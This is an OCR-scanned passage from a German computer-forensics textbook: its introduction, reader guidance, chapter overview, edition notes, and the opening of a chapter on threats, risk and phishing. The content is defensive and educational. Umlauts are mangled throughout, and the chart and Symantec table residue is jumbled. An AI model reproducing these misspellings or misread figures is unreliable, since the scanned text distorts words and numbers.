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Einleitung

»Ich brauche Informationen, Watson!«

Sicherheit in der Informationstechnik stellt ein wachsendes Problem
dar. Hiermit ist natiirlich nicht die Sicherheit an sich gemeint, sondern
die Gefihrdung der Sicherheit, die sich aus Unwissenheit, Fahrlissig-
keit oder Vorsatz ergibt. Fast jede Organisation ist durch den massiven
Einsatz von Informationstechnologie auch von ihr abhangig. So ent-
halten Computersysteme heute immer mehr und besser verdichtete
Daten, die fur den reibungslosen Ablauf von Geschafts- und Arbeits-
prozessen notwendig sind. Diese Abhingigkeit von der Informations-
technologie macht die betroffenen Einrichtungen zu einem idealen Ziel
fur Angreifer und Storenfriede.

Die Sicherheitsverantwortlichen haben die Entscheidungstrager in
den Unternehmen mittlerweile davon iiberzeugt, dass bei bestimmten
Netzschnittstellen Firewall-Systeme halbwegs sichere Kommunikati-
onsszenarien ermoglichen. Nachdem dieser Losungsansatz gerade bei
immer komplexeren Anwendungsstrukturen nicht immer konsequent
umsetzbar erschien, wurden in einem weiteren Schritt hdufig Intru-
sion-Detection-Systeme (IDS) installiert; sie sollen jene Angriffe erken-
nen, die mit Firewalls nicht zu verhindern sind. Es geht heute also nicht
mehr nur darum, das Auftreten eines Sicherheitsproblems zu verhin-
dern.

Es geht vielmehr darum, auch dann noch eingreifen zu konnen,
wenn die ersten Schutzmechanismen von einem Angreifer iiberwunden
wurden: Ein gerade ablaufender oder bereits eingetretener Sicherheits-
vorfall muss zuverldssig erkannt werden, seine Auswirkungen sind
wirksam einzudammen, und es sollten dabei geniigend Informationen
gesammelt werden, um spdter eine sinnvolle Taterermittlung zu
ermoglichen.

Zumeist sind also kombinierte Gegenmafinahmen notig, um auf
Sicherheitsvorfalle zu reagieren. Dazu gehoren auch die sogenannten

Firewalls und Intrusion-

Detection-Systeme

Forensische
Untersuchungen



Einleitung

Administratoren

Sicherheits- und
IT-Verantwortliche

forensischen! Untersuchungen. Sie finden in der Regel dann statt,
wenn es ernst zu nehmende Hinweise auf erfolgte oder gerade ablau-
fende Angriffe bzw. andere strafbare Handlungen auf die eigene Sys-
temlandschaft gibt.

Der Begriff Computer-Forensik oder auch Digitale Forensik hat sich in den
letzten Jahren fur den Nachweis und die Ermittlung von Straftaten im
Bereich der Computerkriminalitat durchgesetzt. In Anlehnung an die allge-
meine Erklarung des lateinischen Worts Forensik ist die Computer-Foren-
sik ein Teilgebiet, das sich mit dem Nachweis und der Aufklarung von straf-
baren Handlungen z.B. durch Analyse von digitalen Spuren beschéaftigt.

Wer sollte dieses Buch lesen?

Fast jede Organisation wurde bereits mit der Frage eines erfolgreichen
Systemeinbruchs konfrontiert, und auch Privatpersonen, die ihren PC
mit dem Internet verbinden, konnen Opfer eines Angriffs werden. Die
wenigsten sind aber darauf vorbereitet. Will man Sicherheitsprobleme
vermeiden oder ermitteln, ob noch andere Systeme der eigenen Umge-
bung Opfer eines Angriffs geworden sind, ist es sinnvoll, forensische
Untersuchungen durchzufithren. Hierbei geht es u.a. darum herauszu-
finden, ob ein Angreifer wirklich erfolgreich war, welchen Weg er
genommen hat und welche Systemliicken zu diesem Einbruch gefithrt
haben konnten. Das Internet und aktuelle IT-Publikationen sind voll
von Tipps und Tricks zum Absichern von Systemen und Kommunika-
tionswegen, viele Dinge werden von den Administratoren umgesetzt,
dennoch kommt es zu Einbriichen.

Dieses Buch soll auch dem technisch versierten Administrator
einen ersten Uberblick geben, welche Mafinahmen sinnvoll sind und
welche Werkzeuge und Methoden ihm zur Verfugung stehen. Die
meisten technischen Zusammenhinge sind diesem Personenkreis aus
der tiglichen Arbeit bereits geldufig. In der Praxis ist aber hiufig zu
beobachten, dass bei der konkreten Behandlung von Sicherheitsvorfil-
len trotzdem oftmals Unwissenheit vorherrscht und Fehler gemacht
werden. Dieser Lesergruppe werden Grundlagen und Hintergriinde bei
der Erkennung und Analyse von Systemeinbriichen vermittelt. AufSer-
dem erfahren Sie Wissenswertes iiber die Zusammenarbeit mit Ermitt-
lungsbehorden.

Leser, die iiber keinen intensiven technischen Hintergrund verfii-
gen, aber fur die Erstellung von Handlungsanweisungen und Richtli-

1. forensisch [lat.]: gerichtlich oder auch kriminaltechnisch; z.B. auch forensische
Medizin, forensische Psychologie



Wer sollte dieses Buch lesen?

nien verantwortlich sind, konnen hier weitere Erkenntnisse tiber die
Maéglichkeiten der Computer-Forensik und Incident Response? sam-
meln. Diese Erkenntnisse konnen die Basis fiir eigene Konzepte bei der
Behandlung von Sicherheitsvorfillen bilden. Weiterhin erfihrt dieser
Leserkreis, welche Fahigkeiten (»Skill-Profile«) und organisatorischen
Rahmenbedingungen fir eigene Ermittlungsteams notwendig sind.

Lesen sollten dieses Buch auch Ermittler aus dem Strafverfolgungs-
umfeld, die die Werkzeuge und Methoden fiir die Erfassung und Aus-
wertung von Beweisspuren besser verstehen und bewerten mochten.
Der Blick fir die technischen Maglichkeiten bei der Ermittlung hilft,
die eingesetzten Verfahren bzw. gefundenen Beweisspuren sowie deren
Grenzen besser einzuschitzen. Die Kenntnis, wie die Spuren gefunden
werden und was sie eigentlich aussagen, kann fiir die spatere Bewer-
tung durchaus hilfreich sein.

Alle o.g. Lesergruppen erhalten einen Uberblick iiber die Metho-
den zur Erkennung von und der Spurensuche nach Systemeinbriichen.
Die IT-Spezialisten werden sicherlich mehr interessante und neue
Erkenntnisse aus dem Bereich des richtigen Umgangs mit Beweismit-
teln und den Entscheidungen zur weiteren juristischen Verfolgung
gewinnen kénnen. Strafverfolger werden den hier gelieferten Uberblick
iber die technischen Moglichkeiten der Beweisgewinnung zu schitzen
wissen.

Auch wenn der primire Fokus diese Buches auf Angriffen auf IT-
Systeme zu liegen scheint, ist das Verstindnis wichtig, dass die hier
beschriebenen Methoden und Verfahren oft auch zum Einsatz kom-
men, wenn Delikte aus dem Bereich der Wirtschaftskriminalitiat zu
ermitteln sind. Wie der Leser in den spiteren Kapiteln schnell merken
wird, unterscheidet sich das Vorgehen bei der Sammlung bzw. Analyse
von digitalen Spuren nach einem Servereinbruch nicht sonderlich von
dem Vorgehen, das nach dem Ausnutzen von Sicherheits- und Konfi-
gurationsliicken eines internen Mail- oder Buchfithrungssystems notig
ist. Benutzt ein gewohnlicher Straftdter informationstechnische Sys-
teme wie PC, PDA oder Mobiltelefon, miissen auch die dort befindli-
chen digitalen Spuren gesichert, analysiert und dokumentiert werden.

Um dieses Buch besser zu verstehen, sollte der Leser iiber ein
grundlegendes Verstindnis fiir Basis-Sicherheitstechnologien wie
Firewalls, Intrusion-Detection-Systeme und Verschliisselung verfiigen.
Das fehlerfreie Bewegen auf der Kommandozeile kann an manchen
Stellen den Zugang zu einigen vorgestellten technischen Details
erleichtern, ist aber nicht zwingend notig, um das Grundproblem zu

2. Antwort bzw. Reaktion auf einen (Sicherheits-)Vorfall

Strafverfolger und
Ermittler

Revisoren und
Betrugsermittler

Technische
Voraussetzungen
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Im Zweifelstall Experten
hinzuziehen!

Schwerpunkt:
Systemeinbriiche

Beweise suchen, erkennen,
bewerten

Keine IT-Grundlagen,
keine speziellen
Sicherheitstechnologien,
keine juristischen Details

verstehen. Ebenso sollten mangelnde Windows-Kenntnisse keinen
Leser daran hindern, einen Uberblick dafiir zu bekommen, welche
Moglichkeiten Windows-basierte Tools bieten konnen.

Dem Autor ist es wichtig darauf hinzuweisen, dass bei unsachge-
miflem Vorgehen evtl. wichtige Beweise vernichtet werden oder das
eigene System ganzlich unbrauchbar gemacht werden kann. Im Zwei-
felsfall sollten hier unbedingt Experten hinzugezogen werden. Wenn
man die in diesem Buch besprochenen Tétigkeiten vielleicht nicht selbst
durchfiihren kann, bietet das erworbene Wissen dennoch die Moglich-
keit, sich einen Uberblick iiber die verfiigbaren Methoden zu verschaf-
fen und die Ergebnisse toolgestiitzter Untersuchungen besser auf ihre
Aussagekraft zu bewerten. Dieses kann hilfreich sein, wenn ein Ermitt-
lungsbericht zu begutachten ist oder die Chancen und Risiken einer
moglichen Ermittlung abgewogen werden miissen.

Was lernt man in diesem Buch?

In diesem Buch werden Teilaspekte des System- oder Computerein-
bruchs und die Probleme bei deren Ermittlung niher beleuchtet. Die
weiterfihrenden Bereiche der Computerkriminalitit — wie Computer-
betrug oder Tauschung im Rechtsverkehr beim Einsatz von Datenver-
arbeitung bzw. Filschung beweiserheblicher Daten — werden dagegen
nur zur Verdeutlichung der Themenrelevanz erwihnt. Dies hat seine
Ursache darin, dass sich die Computer-Forensik hidufig nur schwer
abgrenzen lisst. Die grundlegenden Informationen, die fiir die juristi-
sche Wiirdigung »klassischer« Vergehen benotigt werden, haben aber
auch in der Welt der Computer-Forensik ihre Giltigkeit:

Wer, Was, Wo, Wann, Womit, Wie und Weshalb

Es geht dabei vorrangig um die Gewinnung von Beweisen, die aussage-
kriftig genug sind, damit uber die nachfolgenden Schritte besonnen
entschieden werden kann. Dieses Buch zeigt, wo man nach Beweisen
suchen sollte, wie man sie erkennen kann, wie sie zu bewerten sind und
wie sie fiir das Gericht verwertbar gesichert werden sollten.

Was lernt man in diesem Buch nicht?

Dieses Buch vermittelt weder die wesentlichen Grundlagen zu den
Themengebieten der IT-Sicherheit noch vollstindige und abschlie-
Bende Informationen iiber die Funktionsweise und Wirksamkeit von
Firewalls, Intrusion-Detection-Systemen oder anderen Sicherheitstech-
nologien. Ebenso wird dieses Buch nicht den Anspriichen eines juristi-



Wie liest man dieses Buch?

schen Tiefenwerks gerecht werden. Zu allen diesen Gebieten existiert
bereits hervorragende Standardliteratur, die diese Themen grundle-
gend und oft auch abschliefSend behandelt. Dieses Buch kann nicht alle
eventuell infrage kommenden Methoden und Tools in voller Tiefe vor-
stellen. Aus diesem Grund werden die bisher eher selten vorgestellten
Verfahren gezeigt und die bereits bekannten Herangehensweisen, z.B.
aus dem breiten Bereich der netzwerkbasierten Intrusion Detection,
weiter in den Hintergrund gestellt. An den entsprechenden Stellen wer-
den aber Anregungen fur die weitergehende Recherche geliefert.

Einige der in diesem Buch angesprochenen organisatorischen Vor-
arbeiten lassen sich naturgemaf$ auch nicht eins zu eins in der eigenen
Organisation umsetzen, da sich aus jeder Ermittlungssituation ein
unterschiedlicher Handlungsbedarf ergeben kann. Aus diesem Grund
eignet sich dieses Buch nur bedingt als vollstindige Checkliste. Wie in
allen Gebieten der Informationstechnologie ist im Bereich der Compu-
ter-Forensik eine stete Fortentwicklung der technischen Moglichkeiten
sowohl bei den Titern als auch bei den Ermittlern zu verzeichnen.
Dem Grundsatz » Erwarte das Unerwartete« folgend, kann hier nur ein
Uberblick iiber die aktuelle Situation gegeben werden, alle zukiinftigen
Entwicklungen erfordern womdoglich andere Sichtweisen und Ermitt-
lungstechnologien.

Wie liest man dieses Buch?

Neben den Moglichkeiten zur Auffindung von Angriffsspuren
beschreibt dieses Buch auch, welche technischen und organisatori-
schen Rahmenbedingungen fiir eine erfolgreiche Ermittlung unabding-
bar sind. Der Detaillierungsgrad nimmt mit jedem weiteren Kapitel zu.
Von den einfithrenden und grundlegenden Beschreibungen geht es
uber konkrete Prozessabldufe und Ermittlungstechniken hin zu prakti-
schen Beispielen anhand verschiedener Fragestellungen und Spezialas-
pekte. Ist der Leser neu in der Gesamtthematik, sollte er dieses Buch
von vorne nach hinten durchlesen. Bestehen Vorkenntnisse in den ein-
zelnen Gebieten, kann sicherlich das eine oder andere Kapitel querge-
lesen werden.

Fir einzelne Fragestellungen konnen Sie dieses Buch auch spiter
als Nachschlagewerk bzw. Informationsquelle verwenden. Da die
Computertechnologie oft schnellen Verdnderungen unterworfen ist
und Ermittlungswerkzeuge und -methoden haufig angepasst werden,
konnen Sie weitere aktuelle Informationen zu den vorgestellten Tools
auf der Homepage zu diesem Buch unter hitp://computer-forensik.org
finden.

Detaillierungsgrad
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Risiken und Téter

Angriffstechniken

Incident Response

Abldufe und Methoden

Kapitel 1

In diesem Kapitel werden die Bedrohungssituation und die Motivation
der Tater naher beleuchtet. Weiterhin findet sich dort eine Einschat-
zung der Risikoverteilung auf die Netzteilnehmer. Um die Relevanz fir
die eigene Umgebung besser abschitzen zu konnen, findet der Leser in
diesem Kapitel hilfreiche statistische Aussagen. Deshalb eignet es sich
besonders gut als Einstieg in das Thema.

Kapitel 2

Wenn man Angriffsspuren erkennen mochte, muss man wissen, wie
ein Angriff abliuft und welche Angriffsmuster tiberhaupt erkennbare
Spuren hinterlassen. Aus diesem Grund werden hier einige Angriffs-
techniken erklart. Die Erlduterungen gehen aber nur so weit, wie sie
fir das Verstandnis der folgenden Kapitel notig sind. Es existieren
einige sehr interessante Biicher, die sich mit Angriffstechniken befassen
und dies im Einzelnen erkldren. Leser, die sich mit Angriffserkennung
zum ersten Mal beschaftigen, sollten dieses Kapitel lesen.

Kapitel 3

Die notwendigen organisatorischen Vorarbeiten bei der Behandlung
von Sicherheitsvorfillen und grundlegende Informationen iiber ein
sinnvolles Incident-Response-Verfahren sind dem Kapitel 3 zu entneh-
men. Dies umfasst sowohl die richtige Auswahl der Personen, die an
der Ermittlung beteiligt sind, als auch die richtige Auswahl der Res-
ponse-Strategie. Es werden alle wichtigen Schritte bei einer Sicherheits-
vorfallbehandlung erldutert. Techniker, die den globalen Blick bekom-
men mochten, finden hier interessante Informationen.

Kapitel 4

Kapitel 4 erklirt im Uberblick alle wesentlichen Handlungen bei der
Ermittlung eines Computereinbruchs mit allen durchzufithrenden
Tatigkeiten und Hinweisen zur richtigen Sicherung von Beweismitteln.
Es werden die wesentlichen und unabdingbaren Schritte und Tatigkei-
ten erldutert, die notig sind, um ein System zu analysieren. Hierzu
gehoren Antworten auf Fragen wie: Was soll ich machen, wenn der
Rechner noch lauft? Wo soll zuerst nachgeschaut werden? Wie gehe
ich bei einer forensischen Duplikation vor? Welche Untersuchungen
konnen an einem Festplatten-Image durchgefithrt werden? Wie gehe
ich korrekt mit Beweismitteln um? Und so weiter.



Wie liest man dieses Buch?

Kapitel 5

Dieses Kapitel widmet sich ausfiihrlich der zentralen Forensik-Technik
»Post-mortem-Analyse«. Es werden wesentliche Fragestellungen zur
Suche von Beweisspuren auf einem angegriffenen System vorgestellt.
Der Leser erfihrt, an welchen Stellen er nach Spuren suchen sollte, wie
er diese bewerten kann und wie er damit seine Ermittlungsstrategie
besser planen kann. Das Lesen dieses Kapitels ist hilfreich, wenn man
die Arbeitsweise der spater vorgestellten Werkzeuge besser verstehen
mochte.

Kapitel 6

In diesem Kapitel wird die konkrete Arbeit mit Forensik- und Incident-
Response-Werkzeugen erlautert. Die aktuell verfiigbaren Toolsamm-
lungen werden vorgestellt und deren Grundfunktion erklart. Der letzte
Teil in diesem Kapitel widmet sich den Moglichkeiten, einen eigenen
Werkzeugkasten zusammenzustellen.

Kapitel 7

Die in Kapitel 4 und 5 vorgestellten Vorgehensweisen sowie die Werk-
zeugsammlungen aus Kapitel 6 werden in diesem Kapitel an konkreten
Beispielen illustriert. Anhand von typischen Analyseszenarien wird
sowohl auf typische Windows- als auch Unix-Umgebungen eingegan-
gen. AufSerdem wird die forensische Analyse bei mobilen Geriten wie
PDAs und Mobiltelefonen sowie bei Routern vorgefiihrt. Der Leser
wird schnell erkennen konnen, welche Werkzeuge sich fur welche
Untersuchungsumgebung besonders eignen.

Kapitel 8

In diesem kurzen Kapitel werden in Form eines Best-Practice-Ansatzes
wesentliche Empfehlungen fiir einen bereits eingetretenen Schadensfall
vorgestellt. Diese MafSnahmen sind als Basis fur die Erstellung indivi-
dueller Handlungsanweisungen geeignet und sollten an die jeweilige
Situation angepasst werden.

Kapitel 9

Kapitel 9 liefert einige Hinweise und Tricks zur Riickverfolgung von
moglichen Tatverdichtigen anhand der gefundenen Spuren. Dem
Leser wird sehr schnell deutlich werden, wo die Fallstricke liegen,

Post-mortem-Analyse

Werkzeuge

Analysebeispiele

Empfehlungen fiir den
Schadensfall

Backtracing
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Rechtliche Schritte

wenn man z.B. eine IP-Adresse in den Datenspuren gefunden hat und
glaubt, damit den Tater zu kennen. Dieses Kapitel kann nur unvoll-
stindig sein, bietet aber fiir die typischen Fundspuren hilfreiche Hin-
weise.

Kapitel 10

Wenn es im Rahmen einer Ermittlung zur Entscheidung tiber eine wei-
tere juristischen Wiirdigung kommen sollte, hilft Kapitel 10 weiter, da
dort Empfehlungen fiir den Schadensfall gegeben werden. Neben eini-
gen juristischen Begriffen werden die Vor- und Nachteile der einzu-
schlagenden juristischen Wege erldutert. Da Ermittlungen eines Sicher-
heitsvorfalls nicht selten mit der Absicht durchgefithrt werden, den
Titer strafrechtlich oder zivilrechtlich zur Verantwortung zu ziehen,
beschiftigt sich dieses Kapitel mit der Verwertbarkeit von Beweismit-
teln bei Gericht. Dieses Kapitel wurde mit Unterstiitzung von Krimi-
nalhauptkommissar Stefan Becker, Sachbearbeiter fiir Computerkrimi-
nalitdt am Polizeiprasidium Bonn, erstellt.

Was ist neu in der 6. Auflage?

In der 6. Auflage wurden Statistiken und Toolbeschreibungen aktua-
lisiert sowie neueste rechtliche Entwicklungen aufgenommen. Hinzu-
gekommen sind neue Ansitze der strukturierten Untersuchung von
Hauptspeicherinhalten und die Analyse von Malware.

Was ist neu in der 5. Auflage?

Vieles andert sich, so auch Statistiken, Einschatzungen und Versions-
nummern. Wenn auch der Kern dieses Buches der gleiche geblieben ist,
habe ich einige Erweiterungen und Ergidnzungen vorgenommen. Fast
alle Kapitel sind iiberarbeitet und erweitert, so wurden z.B. die Arte-
fakte von Windows 7 (insbesondere der Registry und des Dateisys-
tems) und erweiterte Analysetechniken hinzugefiigt. Es sind mittler-
weile auch neue Linux-Live-CDs verfiigbar, die ebenfalls vorgestellt
werden.



Was ist neu in der 4. Auflage?

Was ist neu in der 4. Auflage?

Die 4. Auflage enthalt einige wenige neue Dinge. Selbstverstandlich
habe ich die Tooliibersicht angepasst und neue Werkzeuge aufgenom-
men. Ebenso sind die Statistiken und auch die juristischen Ausfithrun-
gen aktualisiert worden.

Was ist neu in der 3. Auflage?

Natiirlich wurden einige Statistiken aktualisiert und diejenigen, die
nicht mehr gepflegt werden, komplett entfernt. Gerade auf dem Gebiet
des Tooleinsatzes hat sich seit der letzten Auflage viel getan und es
wurden auch neue Ermittlungstechniken bei der Sammlung und Ana-
lyse von fliichtigen Daten eingefiihrt.

Das Vorgehen bei der Behandlung von Sicherheitsvorfillen unter-
liegt einer zunehmenden Standardisierung. Dieses Buch trigt dem
Rechnung, indem das S-A-P-Modell niher beschrieben sowie die ent-
sprechenden Empfehlungen des BSI aufgenommen wurden.

Die Computer-Forensik ist, im Vergleich zu den anderen forensi-
schen Disziplinen, ein noch recht junges Fachgebiet. Es werden stiandig
neue Ermittlungsmethoden entwickelt. In dieser Auflage wurden
einige davon aufgenommen, wie beispielsweise die neuen Ansitze bei
der Analyse von Hauptspeicherkopien.

Viele Leser haben sich noch mehr technische plattformspezifische
Details gewiinscht. Dieses Buch soll jedoch eine Einfiihrung mit den
wesentlichen Ermittlungstechniken liefern. Eine tiefere Beschaftigung
mit allen moglichen Plattformspezifika wiirde daher den Rahmen die-
ses Buches sprengen. Dennoch beschiftigt sich eine weitere Ergidnzung
in dieser Auflage mit den Neuerungen, die in Windows Vista und sei-
nem Dateisystem enthalten sind. Es sind viele neue Spuren hinzuge-
kommen, andere — altbewihrte — wurden verandert.

Der Bereich der Analyse von PDAs und Mobiltelefonen wurde
ebenfalls wesentlich erweitert und an die aktuelle technische Entwick-
lung angepasst.

Was ist neu in der 2. Auflage?

Neben der Aktualisierung einiger Statistiken und rechtlichen Rahmen-
bedingungen sind in dieser Auflage die neuen Funktionen der beschrie-
benen Werkzeuge erginzt worden. So flossen die Anderungen in
EnCase 5 sowie im AccessData FTK 1.60 in diese Ausgabe ein. Da das
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ebenfalls beschriebene EL.R.E. nur noch sporadisch aktualisiert wird,
wurde das auf Knoppix basierende Helix als Empfehlung fiir Ermittler
aufgenommen. Ebenfalls neu ist der Abschnitt tiber das deutsche
Werkzeug X-Ways Forensics.
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1 Bedrohungssituation

Zu Beginn dieses Buches wollen wir uns mit den Bedrohungssituatio-
nen befassen, denen IT-Systeme in unterschiedlicher Weise ausgesetzt
sind. Dabei geht es um Fragen, die die Auswahl und den Einsatz von
Schutzmafsnahmen betreffen, aber auch bei der Tatersuche und der
Ermittlung strafbarer Handlungen relevant sind: Welche Teile meines
IT-Systems sind besonders bedroht? Wie wahrscheinlich ist ein Ein-
bruch, wie grof$ der mogliche Schaden? Wer konnte es auf einen
Angriff anlegen, und warum? Mit diesen und dhnlichen Fragen werden
wir uns dem Thema Computer-Forensik zunachst von aufSen nahern,
um im weiteren Verlauf des Buches immer weiter an Detailtiefe zu
gewinnen.

1.1 Bedrohung und Wahrscheinlichkeit

Mit Bedrohung ist der potenzielle Ausloser fiir ein unerwiinschtes
Ereignis gemeint, das sich auf das betroffene IT-System oder die
gesamte Organisation schadlich auswirken kann. Unternehmen und
deren IT-Landschaft sind vielfiltigen Bedrohungen ausgesetzt. Sicher-
heitsverantwortliche miissen diese Bedrohungen identifizieren und
deren Schwere und Eintrittswahrscheinlichkeit abschitzen. Gegen-
mafSnahmen sind oft erst nach dieser sorgfiltigen Abschitzung sinvoll.

Die Wahrscheinlichkeit, mit der eine Bedrohung im betrachteten
Umfeld eintreten wird, ist u.a. abhingig von

der Haufigkeit der Bedrohung (Wahrscheinlichkeit des Auftretens
anhand von Erfahrungen oder Statistiken),

der Motivation und den vorausgesetzten Fahigkeiten und Ressour-
cen eines potenziellen Angreifers,

der Attraktivitat und Verwundbarkeit des IT-Systems bzw. seiner
Komponenten, wie sie von potenziellen Angreifern wahrgenom-
men wird,

Bedrohung
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1 Bedrohungssituation

Systematik der
Bedrohungen

Eintrittswahrscheinlich-
keit und Schadenshéhe

dem Wert, den die IT-Systeme und die darin gespeicherten bzw.
verarbeiteten Informationen fur die eigene Organisation oder aber
fir den Angreifer haben, und

der Positionierung des Unternehmens oder der Organisation in der
Offentlichkeit bzw. innerhalb der politischen Landschaft (z.B.
Strafverfolgungsbehorden, Verwaltung und politische Parteien).

Eine vorhandene Schwachstelle allein verursacht noch keinen Schaden.
Sie ist aber die Voraussetzung dafiir, dass eine Bedrohung zu einem rea-
len Schaden fithrt. Hieraus ergibt sich bei der Reduktion oder Eliminie-
rung von Sicherheitsrisiken der Handlungsbedarf: Auf Schwachstellen,
fir die es konkrete Bedrohungen gibt, sollten die Sicherheitsverant-
wortlichen in den Unternehmen mit geeigneten organisatorischen, per-
sonellen, technischen und infrastrukturellen Mafinahmen sofort
reagieren. Sind keine korrespondierenden Bedrohungen vorhanden,
kann man mit Schwachstellen auch lange leben. Wichtig ist dabei aber,
rechtzeitig zu erkennen, ob und wie sich die Bedrohungslage mogli-
cherweise dandert.

Grundsitzlich lassen sich Bedrohungen unterscheiden nach ihrem
Ursprung, der Motivation der Titer, der Haufigkeit des Auftretens und
der Grofle des Schadens, der durch ihr Eintreten verursacht wird. Der
Ursprung einer Bedrohung ldsst sich noch feiner granuliert darstellen:
Bedrohung durch die Umwelt oder Bedrohung durch Menschen.
Wichtig ist auch die Unterscheidung, ob bei einem Sicherheitsvorfall
eine absichtliche oder zufillige Bedrohung durch Menschen vorliegt.
Bei den absichtlichen Bedrohungen interessieren uns konkret die
Innen- und Auflentiter.

1.2 Risikoverteilung

Ein Risiko ldsst sich durch die Wahrscheinlichkeit eines gefihrdenden
Ereignisses und die zu erwartende Schadenshohe beschreiben. Diese
beiden Parameter, Schadenshohe und Eintrittswahrscheinlichkeit, sind
fiir die Bewertung der eigenen Risiken heranzuziehen. Bei der im Vor-
feld fiir ein Sicherheitskonzept durchzufiihrenden Risikoanalyse geht
es genau darum, herauszufinden, welche Unternehmenswerte bedroht
werden konnten, welcher Schaden an den Unternehmenswerten im
Einzelnen und fiir das Unternehmen im Ganzen im Schadensfall ent-
steht, wie hoch die Wahrscheinlichkeit eines Schadens ist und welche
Schwachstellen existieren. Erst auf Basis dieser Erkenntnisse ist es in
den meisten Fillen sinnvoll, organisatorische, technische, personelle
oder infrastrukturelle Sicherheitsmafsnahmen umzusetzen.
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Grundsitzlich kann festgestellt werden, dass mit der Zunahme
von vernetzten Computersystemen auch die Zahl der angegriffenen
Systeme gestiegen ist. Dies liegt auch darin begriindet, dass einfach
mehr potenzielle Ziele vorhanden sind. Durch die Vernetzung von sehr
vielen Systemen via Internet riicken neue Tatergruppen unterschied-
lichster Motivation in das Spielfeld auf. Das Internet mit seiner Vielfalt
an Netzdiensten, seiner weltweit einheitlichen Protokoll- bzw. Anwen-
dungsstruktur und den damit verbundenen durchaus bedenklichen
Design- und Implementationsfehlern tragt zur Risikoerhéhung bei.
Die Wahrscheinlichkeit eines Angriffs tiber eine Netzverbindung steigt,
wodurch eine signifikante Steigerung der Vorfille iiber die vergange-
nen Jahre hinweg zu beobachten ist.

Zusitzlich fiihrt eine gewisse Monokultur bei den verwendeten
Betriebssystemen und Applikationen gerade im Internet zu einer rasan-
ten Multiplikation von Sicherheitsproblemen. Sicherheitsliicken, die
z.B. bei Implementation einer bestimmten WWW- oder DNS-Server-
software auftauchen, kénnen sofort bei allen Systemen ausgenutzt wer-
den, die diese Software einsetzen. Es ist ebenfalls zu beobachten, dass
die Angriffstechniken durchaus immer komplexer werden. Angriffe,
die noch vor fiinf oder zehn Jahren fir zu kompliziert und damit
undenkbar gehalten wurden, werden heute tagtiglich bei Systemein-
briichen verwendet.

Angriffs-

methoden
Phishing Construction Kits v
Hybride \ N

Multiprotokoll-

Angriffe

@ advanced
Anti Detection Persistent
& Threats
Packet
Spoofing

Backdoors N Viren/Trojaner
J,. Construction Kits
Ausnutzen bekannter Q. Stealth
Schwachstellen . scanning
“' Level der

bendétigten
Fahigkeiten

Automatisierte
Schwachstellen-
Scanner

Code

Hijacking
Deaktivieren
. Passwérter von Audit-
»knacken« maBnahmen
- Passworter
raten

1980 1985 1990 1995 2000 2005 2010

Verfligbarkeit von Werkzeugen

Selbst-
verbreitender \ Session

Benotigtes Wissen zum Hacken

1. Adaptiert von: Julia Allen, Alan Christie, William Fithen, John McHigh, Jed
Pickel, Ed Stoner, »State of the Practice of Instrusion Detection Technologies«;
Technical Report CMU/SEI-99-TR-028, Carnegie Mellon Software Engineering
Institute, Januar 2000

Angriffe nehmen zu.

Angriffe werden
komplexer.

Abb. 1-1
Angreiferfihigkeiten vs.
benétigtes Wissen®
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14 1 Bedrohungssituation
Das amerikanische Sicherheitsunternehmen Symantec veroffentlicht
regelmiRig einen »Internet Security Threat Report«?. Hierzu werden
u.a. Alarme von mehreren Hundert Intrusion-Detection- und Firewall-
Systemen analysiert. Fiir diesen Report wurden die Verbreitungswege
von Malware analysiert. Glaubte man noch bis vor Kurzem, dass sich
Schadcode fast nur noch online verbreitet, ist nun ein signifikanter
Anstieg der Verbreitung iiber Datentrager zu verzeichnen:
Abb. 1-2
Verbreitungsmethoden
von Malware aus dem EXECUTABLE FILE SHARING. The malicious code creates coples of itself or infects.
i executable files, The files are distributed to other users, often by copying them to 1% 5% T6%
Symantec In ternet removable drives such as USB thumb drives and setting up an autorun routine.
. FILE TRANSFER, CIFS CIFS. This is a file sharl | that all files and oth
Secu”ty Threat Report - TESOUrcEs on a computer to be s;l:r:d lwellh :[h"esr E;Tn::‘:e:s alcf;::;she I:em:tmwe
2 ior more directories on a computer can be shared to allow other computers to access  33% -10% 43%
Atl’ack Trends 20 12 the files within. Maliclous code creates coples of itself on shared directories to affect
other users who have access to the share,
REMOTELY EXPLOITABLE VULNERABILITY. The malicious code exploits
3 vulnerability that allows it to copy itself to or 'u:;ect anm'?m m:|p:|ler. * 2 2% 2%
FILE TRANSFER, EMAIL ATTACHMENT. The maliclous code sends spam emal that
4 contalns a copy of the malicious code. Should a reciplent of the spam open the E% -6% 14%
attachment, the malicious code will run and their computer may be compromised.
FILE TRANSFER, P2P. The malicious code coples itself to folders on an infected
5 computer that are associated with P2P fle sharing applications. When the a% 3% 7%
application runs, the malicious file will be shared with ather users on the same P2P
network.
& :y:msrﬁg.mumcmnu FILE SHARING. The malicious code infects non- % +1% 2%
FILE TRANSFER, HTTP, URL, INSTANT The malicious code
7 sends or modifies Instant messages with an embedded URI that, when clicked by the 3% +2% 1%
recipient, will launch an attack and install a copy of the malicious code.
SQL. The malicious code accesses SOL servers, by exploiting a latent SOL
B vulnerability or by trying default or guessable administrator passwords, and coples 1% 0% 1%
itsell to the server.
FILE TRANSFER, INSTANT MESSENGER. The maliclous code sends or modifies
g Instant messages that contain a copy of the malicious code, Should a recipient of the 1% 4% 5%
spam open the attachment, the malicious code will run and their computer may be
compremised.
FILE TRANSFER, HTTP, URI, EMAIL BODY. The malicious code
10 sends spam email containing a malicious URI that, when clicked by the recipient. will <1% = <1%
laisnch an attack and install a copy of the malicious code.
Formendes Phishing  In den letzten Jahren hat sich der Trend zu sogenannten Spear-

Phishing-Angriffen verstirkt. Zur Erliuterung: Phishing® ist eine
Angriffsmethode, bei der dem Opfer vorgetiuscht wird, er gebe seine
Daten bei einer vertrauenswiirdigen Webseite ein, um an vertrauliche
Informationen wie z.B. Passworter, TANs oder Kreditkarteninformati-
onen zu gelangen. Hierzu wird oft ein Trojaner verwendet, der die
gefilschte Webseite tiuschend nachbildet und die abgefangenen Daten

2. Symantec Internet Security Threat Report — Attack Trends,
http:/lwww.symantec.com/business/threatreport/

3. Phishing ist ein englisches Kunstwort, das sich aus Password Fishing (dem Angeln
nach Passwortern) gebildet hat.



1.2 Risikoverteilung

15

dann im Hintergrund auf einem sog. Drop-Zone-Server ablegt. Ein
anderer einfacher Weg ist, die gefalschte Webseite auf einem Server zu
hosten und das Opfer mit gefilschten E-Mails auf diesen Server zu
locken. Eine neuere Variante des Phishing wird als Spear-Phishing
bezeichnet (abgeleitet von der englischen Ubersetzung des Begriffs
Speer), worunter ein gezielter Angriff zu verstehen ist. Hierbei
